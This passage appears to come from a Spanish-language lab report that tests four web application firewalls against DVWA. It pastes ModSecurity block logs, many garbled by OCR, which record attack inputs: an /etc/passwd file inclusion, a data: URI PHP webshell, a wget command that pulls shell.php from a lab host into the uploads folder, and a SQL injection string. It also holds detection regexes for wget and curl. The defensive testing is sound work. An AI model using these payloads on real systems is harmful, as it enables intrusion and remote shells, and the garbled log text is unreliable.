"OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"]
[tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "proxy-waf.com.ec"] [uri
"/dvwa/vulnerabilities/fi/"] [unique_id "XevtYFsend9XpDOcQVTgWAAAAAQ"]

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:



tag "language-multi”] [tag "platform-multi”] [tag "attack-protocol”] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [tag "parancia-level/4"] [hostname "proxy-waf.com.ec”] ~
[uri */dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQBAAAAFC"]

[Tue Dec 10 19:51:23.105421 2019] [:error] [pid 10202:tid 34392814336] [client 192.168.1.110:17324] [client 192.168.1.11@] ModSecurity: Warning. Pattern match "TX:param
counter_(.*)" at TX:paramcounter ARGS_NAMES:page. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496627064b58b. rules”] [line "348"] [id "921188"] [rev "2"] [msg "HT
TP Parameter Pollution (ARGS_NAMES:page)"] [data “Matched Data: TX:paramcounter ARGS_NAMES:page found within TX:paramcounter ARGS_NAMES:page: TX:paramcounter ARGS_NAMES
:page"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag “language-multi®] [tag "platform-multi"] [tag "attack
-protocol”] [tag "paranoia-level/3"] [tag "CAPEC-460"] [hostname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQSAAAAFC"]

[Tue Dec 10 19:51:23.105801 2819] [:error] [pid 10202:tid 34392814336] [client 192.168.1.110:17324] [client 192.168.1.118] ModSecurity: Warning. Matched phrase "etc/pas
swd" at ARGS:page. [file "/home/vlt-sys/Engine/conf/modsec/5dd6ed5bb11496027084b5a2 . rules”] [line "108"] [id "930120"] [rev "4"] [msg “05 File Access Attempt®] [data "M
atched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.8.@"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag
“language-multi®] [tag "platform-multi"] [tag "attack-1i"] [tag "OWASP_CRS/WEB_ATTACK/FILE_TNJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP 18/A4"] [tag "PCI/6.5.4"
] [hostname "proxy-waf.com.ec”] [uri “/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQ8AAAAFC"]

[Tue Dec 10 19:51:23.106483 2819] [:error] [pid 10282:tid 34392814336] [client 192.168.1.116:17324] [client 192.168.1.118] ModSecurity: Warning. Matched phrase "etc/pas
swd” at ARGS:page. [File "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496027004b57F. rules”] [line "448"] [id "932160"] [rev "1"] [msg "Remote Command Execution: Unix Sh
ell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.6"] [maturity "1"] [accuracy "8"] [tag
"application-multi”] [tag "language-shell”] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_T
OP_16/A1"] [tag "PCI/6.5.2"] [hostname “proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQBAAAAFC"]

[Tue Dac 16 19:51:23.110030 2019] [:error] [pid 10202:tid 34392814336] [client 192.168.1.110:17324] [client 192.168.1.110] ModSecurity: Access denied with code 403 (pha
se 2). Operator GE matched 18 at TX:anomaly score. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496627664b595. rules"] [line “57"] [id "949118"] [msg “Inbound Anom
aly Score Exceeded (Total Score: 24)"] [severity “CRITICAL"] [tag "application-multi"] [tag "language-multi®] [tag “platform-multi"] [tag "attack-generic”] [hostname "p
roxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQBAAAAFC"]

[Tue Dec 16 19:51:23.118851 2019] [:error] [pid 10202:tid 34392814336] [client 192.168.1.110:17324] [client 192.168.1.110] ModSecurity: Warning. Operator GE matched 18
at TX:inbound_anomaly_score. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496027604b5a5. rules”] [line "73"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (To
tal Inbound Score: 24 - SQLI=,XSS=,RFI=,LFI=8,RCE=8,PHPT=,HTTP=4,SESS=): Remote Command Execution: Unix Shell Code Found"] [tag "ewvent-correlation”] [hostname "proxy-wa
f.com.ec”] [uri "/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQSAAAAFC"]

[Tue Dec 16 19:51:23.111674 2019] [:error] [pid 10202:tid 34392814336] [client 192.168.1.118:17324] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18
at TX:inbound_anomaly_score. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496027604b5a5. rules”] [line "73"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (To
tal Inbound Score: 24 - SQLI=,XSS=,RFI=,LFI=8,RCE=8,PHPT=,HTTP=4,5ESS=): Remote Command Execution: Unix Shell Code Found"] [tag "ewent-correlation”] [hostname "proxy-wa
f.com.ac”] [uri "/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQBAAAAFC"]

Tue Dec 10 19:51:23.110030 2019] [:error] [pid 10202:tid 34392814336] [client
192.168.1.110:17324] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:anomaly_score. [file
"lhomel/vlt-sys/Engine/conf/modsec/5dd6e95bb11496027004b595.rules]  [line
"57"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 24)"]
[severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag
"platform-multi"] [tag "attack-generic"] [hostname “"proxy-waf.com.ec"] [uri
"/dvwa/vulnerabilities/fi/"] [unique_id "Xe-30yeqEFlyjOr-3ufQ8AAAAFC"]

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

1 2019/12/11 20:58:55 [error] 9443#0: "143 [client 192.168.1.110] ModSecurity: Access denied with code 403
(phase 2). Matched "Operator * PmFromFile' with parameter " Ifi-os-files.data' against variable ' ARGS:page'
(Value: * Jetc/passwd' ) [file "/opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-930-
APPLICATION-ATTACK-LFl.conf"] [line "78"] [id "930120"] [rev ""] [msg "OS File Access Attempt"] [data
"Matched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.2.0"]
[maturity "0") [accuracy "0"] [tag "application-multi"] [tag "language-multi”] [tag "platform-multi”] [tag
"attack-1fi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"]
[tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "192.168.1.110"] [uri "/dvwa
/vulnerabilities/fi/"] [unique_id "157611593562.941293"] [ref
"01,10v35,11t:utf8toUnicode,t:uriDecodeUni t:normalizePathwin,t:lowercase®], client: 192.168.1.110, server:
proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities/fi/?page=/etc/passwd HTTP/1.1%, host: "proxy-
waf.com.ec”

2019/12/11 20:58:55 [error] 9443#0: *143 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "PmFromFile' with
parameter Ifi-os-files.data' against variable "ARGS:page' (Value: “/etc/passwd')
[file "lopt/waf/nginx/etc/modsec_rules/proxy-
waf.com.ec/enabled_rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"]

[line "78"] [id "930120"] [rev "] [msg "OS File Access Attempt"] [data "Matched
Data: etc/passwd found within ARGS:page: /etc/passwd”] [severity "2"] [ver
"OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag
"language-multi"] [tag "platform-multi"] [tag "attack-Ifi"] [tag "paranoia-level/1"]



[tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"]
[tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
[hosthame  "192.168.1.110" [uri  "“/dvwa/vulnerabilities/fi/]  [unique_id
"157611593562.941293"] [ref
"01,10v35,11t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase"],
client: 192.168.1.110, server: proxy-waf.com.ec, request: "GET
/dvwa/vulnerabilities/fi/?page=/etc/passwd HTTP/1.1", host: "proxy-waf.com.ec"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019,’12/11 23:26:26 [;r‘ror‘] 115440: [client 192.168?1.110] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd” at ARGS:page. [file "/usr/loc
al/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line “518"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [
data "Matched Data: etc/passwd found within ARGS:page: /etc/passwd”] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.8"] [tag "application-multi”] [tag "language-shell”] [tag
“platform-unix"] [tag "attack-rce”] [tag “paranvia-level/1"] [tag "OWASP CRS"] [tag "OWASP CRS/WEB_ATTACK/COMMAND INJECTION"] [tag "WASCTC/MASC-31"] [tag "OWASP_TOP 10
/A1"] [tag "PC1/6.5.2"] [hostname "] [uri "/dvwa/vulnerabilities/fi/"] [unigue_id “AcAcTcAcAcAcAc9cZaAcAcVe”]

2019/12/11 23:26:26 [error] 1154#0: [client 192.168.1.118] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/fi/"] [unigue_id "AcAcTcAcAcAcAc9cZahcAcVc"]

2019/12/11 23:26:26 [error] 1154#0: [client 192.168.1.11@] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabil
ities/fi/"] [unigue id "AcAcIcAcAcAcAcScZaAcAcVc"]

2019/12/11 23:26:26 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:page.
[file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-932-
APPLICATION-ATTACK-RCE.conf'] [line "518"] [id "932160"] [msg "Remote
Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd
found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver
"OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag
"platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"]
[tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag
"WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCl/6.5.2"] [hostname
" [uri "/dvwa/vulnerabilities/fi/*] [unique_id "AcAclcAcAcAcAc9cZaAcAcVc']

Ataque 4: File Inclusion Externo

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Fri Dec 20 66:46:18.927601 2019] [:error] [pid 1538] [client 192.168.1.138:2683] [client 192.168.1.13@] ModSecurity: Access denied with code 463 (phase 2). Pattern mat
ah (2 (LA VAW TOAWER\ Vb [\ b (wget [cur) )VAND A V/ee (2 LA WV TWRG A WA= \Ws T [$))" at ARGS:cmd. [file “/etc/httpd/modsecurity.d/activa
ted_rules/modsecurity crs 40 generic attacks.conf"] [line "25"] [id "950967"] [rev "2"] [msg “System Command Injection"] [data "Matched Data: wget found within ARGS:cmd
: wget http:/192.168.1.10/shell.php -P /var/waw/dvwa/hackable/uploads"] [severity "CRITICAL"] [ver “OWASP CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag "OWASP CRS/WEB_
ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP TOP 10/A1"] [tag "PC1/6.5.2"] [hostname “proxy-waf.com.ec"] [uri “/dvwa/vulnerabilities/fi/"] [unique id “
XFxgKosC5sXUgHPTcTkoSgAAAN" |



[Fri Dec 20 00:46:18.927601 2019] [:error] [pid 1538] [client 192.168.1.130:2083]
[client 192.168.1.130] ModSecurity: Access denied with code 403 (phase 2).

Pattern match
(21 (2: W W W W2\ b e Wb (wget|curl) )W AWV ce (2: [ANIFITL I W W=
\W\s]|$))" at ARGS:cmd. [file

"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.

conf"] [line "25"] [id "950907"] [rev "2"] [msg "System Command Injection"] [data
"Matched Data: wget found within ARGS:cmd: wget http:/192.168.1.10/shell.php
-P Ivar/www/dvwa/hackable/uploads"] [severity "CRITICAL"] [ver

"OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/COMMAND _INJECTION"] [tag
"WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hosthname
"proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/fi/"] [unique_id

"XfxgKosC5sXUgHPIclkoSgAAAAM"]
» WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo

siguiente:

[Fri Dec 20 61:05:08.492622 2018] [:error] [pid 873:tid 34385541120] [client 192.168.1,138:2161] [client 192.168.1.138] ModSecurity: Access denied with code 463 (phase
2). Operator GE matched 18 at TX:inbound anomaly score. [file "macro 'policy Sdddce7cbl149611d76cd31a score’ (defined on line 328 of “/home/vlt-sys/Engine/conf/192.168.

1.46-88.conf") used on line 718 of "/home/v1t-sys/Engine/conf/192.168.1.48-88.conf™] [line "14"] [id "91"] [msg "Inbound anomaly score 88 exceeded threshold 18"] [host
name “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/fi/"] [unique id "XfweRP2Te1RbSpXBiYPOwgAAVE"]

[Fri Dec 20 01:05:08.492622 2019] [:error] [pid 873:tid 34385541120] [client
192.168.1.130:2161] [client 192.168.1.130] ModSecurity: Access denied with
code 403 (phase?2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy_5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf") used on line 710 of
"lhomel/vlit-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
"Inbound anomaly score 80 exceeded threshold 18"] [hostname "proxy-
waf.com.ec"] [uri "/dvwa/vulnerabilities/fi/"] [unique_id
"XfweRP2le1Rb5pXBjYPOwWgAAAVQ"]

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:



2019/12/20 01:27:02 [error] 4361#0: *19 [client 192.168.1.130] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "Rx' with parameter
T2NENSH2NSNOSF WA= (2 NSNS NS | <K= KV AN NS+ NSHNS) s * (22" \") *(
2: V2NN WA AW H) 2PN T2 W T2 s (2: WA T (2: BT WA T*r
(6252 characters omitted)' against variable "ARGS:cmd' (Value: “wget
http://192.168.1.10/shell.php -P  /var/www/dvwa/hackable/uploads’ ) [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-
932-APPLICATION-ATTACK-RCE.conf"] [line "457"] [id "932150"] [rev "] [msg
"Remote Command Execution: Direct Unix Command Execution"] [data
"Matched Data: wget found within ARGS:cmd: wget http://192.168.1.10/shell.php
-P /var/www/dvwa/hackable/uploads"] [severity "2"] [ver "OWASP_CRS/3.2.0"]
[maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-shell"] [tag
"platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"]
[tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag
"WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCl/6.5.2"] [hostname
"192.168.1.130"] [uri "/dvwa/vulnerabilities/fi/"] [unique_id
"157682322291.900261"] [ref "00,5v85,68"], client: 192.168.1.130, server: proxy-
waf.com.ec, request: "GET
/dvwal/vulnerabilities/fi/?page=data:,%3C?php%20system($_GET[%27cmd%27]
);?%3E&cmd=wget%20http://192.168.1.10/shell.php%20-
P%20/var/www/dvwa/hackable/uploads HTTP/1.1", host: "proxy-waf.com.ec"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/20 01:37:24 [error] 1155%0: [client 192.168.1.130] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(21i)(2:\\W|*)(?:javascript: (2:[\\s\\S]+[=\
VWAONDWL<T] [N \\ST*2 (2 \\bname\\b | \\ [ux]\\d) ) | data: (2: (2: [a-z] Nk W/ V] N = 16\ W) 2[5, T DVASVAST*25 [\\s\\S ] *2\\b( ?: baseb4 | charset=) | [\\s\\S]*2, [\\s\\S]*2<[\\s\\S]*
PNW[NASAST*25)) [@\\WF IV \WF B\ \W*2p\\W*? ..." at ARGS:page. [file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line *
254"] [id "94117@"] [msg "NeScript XSS InjectionChecker: Attribute Injection"] [data "Matched Data: data:, found within ARGS:page: data:,<?php system($_GET['cmd']);?>"]
[severity "CRITICAL"] [ver "OWASP_CRS/3.2.8"] [tag "application-multi"] [tag "language-multi®] [tag “"platform-multi"] [tag "attack-xss"] [tag "parancia-level/1"] [tag
"OWASP_CRS"] [tag "OWASP CRS/WEB ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP TOP 10/A3"] [tag "OWASP AppSemsor/IE1"] [tag “CAPEC-242"] [hostna
me “*] [uri “/dvwa/vulnerabilities/fi/"] [unigue_id "CcZWAcAcAmAcAcAcARAZAZMQ"]

2019/12/26 @1:37:24 [error] 1155%#8: [client 192.168.1.138] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/fi/"] [unique_id "CcZWAcAcAmAcAcAcARAzAgMQ"]

2019/12/20 01:37:24 [error] 1155#8: [client 192.168.1.130] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabil
ities/fi/"] [unique_id "CcZWAcAcAmAcAcAcARAzAgMQ"]

2019/12/20 01:37:24 [error] 1155#0: [client 192.168.1.130] ModSecurity: Access
denied with code 403 (phase 2). Pattern match
"(20)(2:\W|MN(?:javascript: (?:[\s\S]+H[=\WON.<]| WsWST*?2(?:\\bname\\b |\\[ux]\\d)) |

data:(?:(?:[a-z]\w+\W\\WwW[\\w+-

1H\W) 2 11 NSWST*2; \\s\ST*?2\\b(?:base64|charset=) | \\s\S]*?, [Ws\S]*?<[Ws\S]*?\\



WNS\S]*?>))| @ \\W*2I\W*?2m\W*?p\\W*? at ARGS:page. [file
"lusr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-
APPLICATION-ATTACK-XSS.conf"] [line "254"] [id "941170"] [msg "NoScript
XSS InjectionChecker: Attribute Injection”] [data "Matched Data: data:, found
within  ARGS:page: data:;,<?php system($_GET[cmd");?>"] [severity
"CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-
multi*] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag
"OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag
"WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"]
[tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname ™] [uri
"/dvwa/vulnerabilities/fi/*] [unique_id "CcZWACACAMACACACARAZAgGMQ"]

Ataque 5.1: Inyeccion SOL Manual

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Sat Dec 07 14:02:52.060399 2019] [:error] [pid 1822] [client 192.168.1.148:9068] [client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2). Pattern mat
eh "(A[V" T\ ixe2\ b\ a2\ kB8 \e99) a2\ |88\ \x98; T [\ ke 2\ \xbd\ \xa2\ \xB8Y\ x99\ \xe2\\x88\ \x08; ]#§)" at ARGS:id. [file "/etc/httpd/modsecurity.d/activated rules
/modsecurity crs 41 sql injection attacks.conf"] [line "64"] [id "981318"] [rev "2"] [msg "SQL Injection Attack: Common Injection Testing Detected"] [data "Matched Data
: " found within ARGS:id: ' o '1=1"] [severity "CRITICAL"] [ver "OWASP CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag "OWASP CRS/WEB ATTACK/SQL TNJECTION'] [tag "WASCT
C/WASC-19"] [tag "OWASP TOP 16/A1"] [tap "OWASP AppSensor/CIF1"] [tag "PC1/6.5.2"] [hostname "praxy-waf.com.ec”] [uri */dvwa/vulnerabilities/sqli/"] [unique id "Xev3XLx
-P98FUBSA-UKrFQAMAY" |, referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

[Sat Dec 07 14:02:52.060399 2019] [:error] [pid 1822] [client 192.168.1.148:9008]
[client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2).

Pattern match
"(MW" \xe2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98;]+|[\\"""\\xc2\\xb4\\xe 2\\x80\\x99\\x
e2\\x80\\x98;]+%$)" at ARGS:id. [file

"letc/httpd/modsecurity.d/activated_rules/modsecurity _crs_41 sqgl_injection_att
acks.conf"] [line "64"] [id "981318"] [rev "2"] [msg "SQL Injection Attack: Common
Injection Testing Detected"] [data "Matched Data: ' found within ARGS:id: ' or
'"1=1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy
"8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag
"WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag
"OWASP_AppSensor/CIEL1"] [tag "PCI1/6.5.2"] [hostname "proxy-waf.com.ec"]
[uri "/dvwa/vulnerabilities/sqli/"] [unique_id "Xev3XLx-P98fUOs@-
UKrFQAAAAY"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.



Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Tue Dec 10 23:38:19.905547 2019] [:error] [pid 739:tid 34385533440] [client 192.168.1.118:1791@] [client 192.168.1.118] ModSecurity: Access denied with code 403 (phase
2). Operator GE matched 18 at TX:inbound_anomaly score. [file "macro 'policy Sdd4ce7cbl149611d76cd31a_score’ (defined on line 328 of “/home/vlt-sys/Engine/conf/192.168
.1.40-80.conf") used on line 718 of “/home/v1t-sys/Engine/conf/192.168.1.46-88.conf""] [1ine "14"] [id "91"] [msg "Inbound anomaly score 49 exceeded threshold 18"] [hos
tname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli/"] [unique id "XFAsaBIV47hQySi6MRgltAAAAFI"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqlif
[Tue Dec 18 23:38:19.906911 2819] [:error] [pid 739:tid 34385533448] [client 192.168.1.118:17918] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file “/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496627604b5a5. rules”] [Lline "73"] [id "986136"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Tnbound Score: 49 - SQLI=28,X55=,RFI=,LFI=,RCE=,PHPT= HTTP=,5FS5=): "] [tag "event-correlation”] [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/sqli/"] [un
ique_id "XfAsa61VA7hQySi6MRgItAAMAFT"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

[Tue Dec 18 23:38:19.907336 2819] [:error] [pid 739:tid 34385533448] [client 192.168.1.118:17918] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly score. [file "/home/v1t-sys/Engine/conf/modsec/5dd6e95bb1149662760405a5. rules™] [1ine “73"] [id "986138"] [msg “Inbound Anomaly Score Exceeded (Tota

1 Inbound Score: 49 - SQLI=28,XSS=,RFI=,LFI=,RCE=,PHPI=,HTTP=,5ESS=): "] [tag "event-correlation”] [hostname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/sqli/"] [un
ique_id "XfAsa61VA7hQySi6MRgItAAMAFT"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/

[Tue Dec 10 23:38:19.905547 2019] [:error] [pid 739:tid 34385533440] [client
192.168.1.110:17910] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy_5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf") used on line 710 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
"Inbound anomaly score 49 exceeded threshold 18"] [hostname "proxy-
waf.com.ec"] [uri "/dvwal/vulnerabilities/sqli/"] [unique_id
"XfAsa61VvV47hQy5i6 MRgItAAAAFI"], referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/sqli/

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

# Logs

1 2019/12/11 21:52:41 [error] 3665#0: "60 [client 192.168.1.110] ModSecurity: Access denied with code
403 (phase 2). [file "/opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-
942-APPLICATION-ATTACK-SQLI.conf"] [line "45"] [id "942100"] [rev ""] [msg ""] [data "] [severity "0"]
[ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-
multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"]
[tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "192.168.1.110"] [uri "/dvwa
/vulnerabilities/sqli/™] [unique_id "157611916169.9294007] [ref ""], client: 192.168.1.110, server:
proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities/sqli/?id=%27+0r+%271%3D1&Submit=Submit
HTTP/1.1" host: "proxy-waf.com.ec", referrer: "http://proxy-waf.com.ec/dvwa/vulnerabilities/sqli/”

2019/12/11 21:52:41 [error] 3665#0: *60 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-

942-APPLICATION-ATTACK-SQLI.conf"] [line "45"] [id "942100"] [rev "] [msg "]
[data "] [severity "0"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi”] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"]
[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]



[hostname "192.168.1.110" [uri "/dvwa/vulnerabilities/sqli/"] [unique_id
"157611916169.929400"] [ref ™], client: 192.168.1.110, server: proxy-

waf.com.ec, request: "GET
/dvwa/vulnerabilities/sqli/?1d=%27+0r+%271%3D1&Submit=Submit HTTP/1.1",
host: "proxy-waf.com.ec", referrer: "http://proxy-

waf.com.ec/dvwa/vulnerabilities/sqli/"
» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/11 23:32:58 [error] 115440: [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase 2). detected SQLi using libinjection with fingerprint ‘s&s* [
file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-042-APPLICATION-ATTACK-SQLI. conf"] [line "76"] [id "942168"] [msg "SQL Injection Attack Detected via 1lib
injection”] [data "Matched Data: s&s found within ARGS:id: * or "1=1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.8"] [tag "application-multi"] [tag "language-multi”] [t
